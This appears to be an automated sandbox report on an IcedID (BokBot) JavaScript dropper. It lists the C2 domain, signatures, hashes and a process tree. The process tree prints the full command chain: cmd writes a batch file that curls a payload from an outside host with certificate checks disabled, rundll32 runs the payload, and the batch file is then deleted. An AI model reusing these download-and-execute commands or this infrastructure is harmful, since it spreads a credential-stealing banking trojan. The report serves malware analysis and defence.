Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/11/2023, 09:39

General

  • Target
    dba036b2-8a5e-370e-853b-1b986ed529ab.js
  • Size 56KB
  • Sample231102-lmpraacb26
  • SHA256 5c0338a07a0df472e2e37d8e07f1e61e786b57e590d43a6fffcd5861f560cdf1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • icedid

Campaign
  • 1562175915

C2
  • iosninjafisk.com

Signatures

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\dba036b2-8a5e-370e-853b-1b986ed529ab.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2556
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\dba036b2-8a5e-370e-853b-1b986ed529ab.js"
      2⤵
        PID:4860
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c echo|set /p="cu" > "C:\Users\Admin\AppData\Local\Temp\laborum.u.bat"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4628
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo"
          3⤵
            PID:4848
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" set /p="cu" 1>"C:\Users\Admin\AppData\Local\Temp\laborum.u.bat""
            3⤵
              PID:3644
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c echo rl "https://africaloverfinder.com/dd63714f-d5b8-3ab7-91ff-b9e259f8ec5b/daas/2/draas.php" --output "C:\Users\Admin\AppData\Local\Temp\\voluptas.u" --ssl-no-revoke --insecure --location >> "C:\Users\Admin\AppData\Local\Temp\laborum.u.bat"
            2⤵
              PID:3880
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\laborum.u.bat"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2780
              • C:\Windows\system32\curl.exe
                curl "https://africaloverfinder.com/dd63714f-d5b8-3ab7-91ff-b9e259f8ec5b/daas/2/draas.php" --output "C:\Users\Admin\AppData\Local\Temp\\voluptas.u" --ssl-no-revoke --insecure --location
                3⤵
                  PID:3748
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\laborum.u.bat"
                2⤵
                  PID:4988
                • C:\Windows\System32\rundll32.exe
                  "C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\\voluptas.u" scab /k house324
                  2⤵
                  • Loads dropped DLL
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: MapViewOfSection
                  PID:5084
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                1⤵
                  PID:4536

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      laborum.u.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\laborum.u.bat
                      • Size 188B
                      • SHA256 fa99273caa6d82553fd37af5bdce17e69520e38e56edf1d9eca6d44da3fe5a5f
                      • MD5 SHA1 SHA512

                      laborum.u.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\laborum.u.bat
                      • Size 188B
                      • SHA256 fa99273caa6d82553fd37af5bdce17e69520e38e56edf1d9eca6d44da3fe5a5f
                      • MD5 SHA1 SHA512

                      voluptas.u

                      • Path C:\Users\Admin\AppData\Local\Temp\voluptas.u
                      • Size 1.2MB
                      • SHA256 a8adb18c4db3d823fc7976d43aa6b1b75c27f469ed1267a3773a68c81c73ce14
                      • MD5 SHA1 SHA512 SSDEEP

                      voluptas.u

                      • Path C:\Users\Admin\AppData\Local\Temp\voluptas.u
                      • Size 1.2MB
                      • SHA256 a8adb18c4db3d823fc7976d43aa6b1b75c27f469ed1267a3773a68c81c73ce14
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/2404-8-0x00007FF94E931000-0x00007FF94E932000-memory.dmp

                      memory/2404-9-0x0000000180000000-0x0000000180009000-memory.dmp

                      memory/2404-16-0x0000000180000000-0x0000000180009000-memory.dmp

                      memory/3512-17-0x00007FF94E931000-0x00007FF94E932000-memory.dmp

                      memory/3512-29-0x00007FF94E931000-0x00007FF94E932000-memory.dmp

                      memory/5084-7-0x000001CF8A530000-0x000001CF8A534000-memory.dmp